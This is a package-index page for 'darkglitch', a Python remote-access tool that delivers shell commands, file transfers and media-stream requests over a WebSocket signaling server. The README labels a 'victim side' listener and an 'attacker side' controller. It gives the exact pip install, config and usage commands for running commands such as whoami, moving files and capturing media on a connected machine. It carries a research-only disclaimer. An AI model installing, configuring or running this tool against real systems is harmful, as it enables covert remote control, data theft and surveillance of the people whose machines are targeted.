Skip to main content

Remote command delivery and media streaming tool over WebRTC signaling

Project description

darkglitch

darkglitch is a small Python proof-of-concept for remote command delivery over a WebSocket signaling channel. It is intended for authorized security testing and educational use.

What it does

This tool can:

  • start a listener that registers a client and waits for commands
  • discover online peers on the same signaling room
  • run shell commands remotely
  • upload and download files
  • request a media stream from a connected client

Requirements

  • Python 3.10+
  • dependencies from requirements.txt

Installation

From the project root, create and activate a virtual environment, then install the dependencies:

python3 -m venv .venv
source .venv/bin/activate

install the package:

pip install darkglitch

Configuration

Edit core/config.py to point the client to your signaling server and room:

HOST = "https://your-signal-server.example/"
ROOM = "your-room"

Usage

1. Start a listener (victim side)

python darkglitch.py -l -c

Use -l -s if you want to start a stream-enabled listener.

2. List online peers (attacker side)

python darkglitch.py -ol

3. Send a remote command

python darkglitch.py -c <client_id> "whoami"

4. Request a media stream

python darkglitch.py -s <client_id>

5. Upload or download files

python darkglitch.py -u <client_id> /path/to/local/file /path/to/remote/file
python darkglitch.py -d <client_id> /path/to/remote/file /path/to/local/file

Help and version

python darkglitch.py -h
python darkglitch.py -v

Notes

This repository is for research and learning only. Do not deploy it against systems or networks without explicit permission.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

darkglitch-1.1.1.tar.gz (26.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

darkglitch-1.1.1-py3-none-any.whl (30.5 kB view details)

Uploaded Python 3

File details

Details for the file darkglitch-1.1.1.tar.gz.

File metadata

  • Download URL: darkglitch-1.1.1.tar.gz
  • Upload date:
  • Size: 26.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.6

File hashes

Hashes for darkglitch-1.1.1.tar.gz
Algorithm Hash digest
SHA256 b33d22ff8ece07ea2a6736701612ee59ce25190d8c6bd214ff73dc6044e0cf37
MD5 f1bde96d0f3a25d0b5fe5bd6194cb67a
BLAKE2b-256 d2a40a40153ab14a215602dd4fc6ec4ddef69f0ebb2df11f84cdea25d25d5456

See more details on using hashes here.

File details

Details for the file darkglitch-1.1.1-py3-none-any.whl.

File metadata

  • Download URL: darkglitch-1.1.1-py3-none-any.whl
  • Upload date:
  • Size: 30.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.6

File hashes

Hashes for darkglitch-1.1.1-py3-none-any.whl
Algorithm Hash digest
SHA256 45a2ac548fe4c550643857792bd457b5b93d0f663bf73c1ae481585b4d13e220
MD5 dd91a250b6b22fe377666b717e2464b7
BLAKE2b-256 765d9001964dd3f661f37fce0aa00207ce6b9f3505037e1d4ebba8403cdb2eca

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page